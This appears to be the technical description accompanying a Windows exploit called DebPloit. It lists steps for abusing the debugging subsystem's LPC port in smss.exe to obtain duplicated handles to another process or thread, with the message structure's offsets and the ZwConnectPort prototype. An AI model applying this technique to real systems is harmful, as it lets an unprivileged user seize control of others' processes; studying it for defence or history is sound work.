Bugs@EliCZ.cjb.net. http://www.anticracking.sk/EliCZ. Details: Exploit\DebPloit.h.
Principle: Ask debugging subsystem (lives in smss.exe) to create (duplicate) handle(s)
to Target for you:
1. Become dbgss client (DbgUiConnectToDbg).
2. Connect to DbgSsApiPort LPC port (ZwConnectPort).Everyone has access to this port.
3. Ask dbgss to handle CreateProcess SsApi with client id (or pid or tid only)
of Target (ZwRequestPort).
4. Wait for dbgss to reply with CREATE_PROCESS_DEBUG_EVENT (WaitForDebugEvent).
Message contains duplicated handle(s).
5. When debugger's thread terminates(e.g. on logoff), Target process or thread is
terminated too (like it was regularly debugged).
struct _DBG_SS_CP_LPC_MESSAGE {
USHORT DataSize; //00
USHORT MessageSize; //02
USHORT MessageType; //04
USHORT VirtualRangesOffset; //06
DWORD CallerPid; //08
DWORD CallerTid; //0C
ULONG MessageId; //10
ULONG SectionSize; //14
DWORD dwSsDebugEventCode; //18
DWORD Status; //1C
DWORD DebuggeePID; //20
DWORD DebuggeeTID; //24
PVOID pDbgSsKmMsg; //28 //size ~ 0x78
DWORD DebuggerPID; //2C
DWORD DebuggerTID; //30
DWORD Unknown34; //34
DWORD hFile; //38
LPVOID lpBaseOfImage; //3C
DWORD dwDebugInfoFileOffset;//40
DWORD nDebugInfoSize; //44
LPVOID lpThreadLocalBase; //48
LPTHREAD_START_ROUTINE lpStartAddress; //4C
LPVOID lpImageName; //50
WORD fUnicode; //54
WORD ImageName[(MAX_DBG_SS_CP_LPC_MESSAGE_SIZE - 0x56)/sizeof(WORD)]; //56 pro forma
}
MAX_DBG_SS_CP_LPC_MESSAGE_SIZE = 80h
NTSYSAPI NTSTATUS NTAPI ZwConnectPort (
OUT PHANDLE ClientPortHandle,
IN PUNICODE_STRING ServerPortName,
IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
IN OUT PLPC_THIS_SIDE_MEMORY ClientSharedMemory OPTIONAL,
IN OUT PLPC_OTHER_SIDE_MEMORY ServerSharedMemory OPTIONAL,
OUT PULONG MaximumMessageLength OPTIONAL,
IN OUT PVOID ConnectionInfo OPTIONAL,
IN OUT PULONG ConnectionInfoLength OPTIONAL
);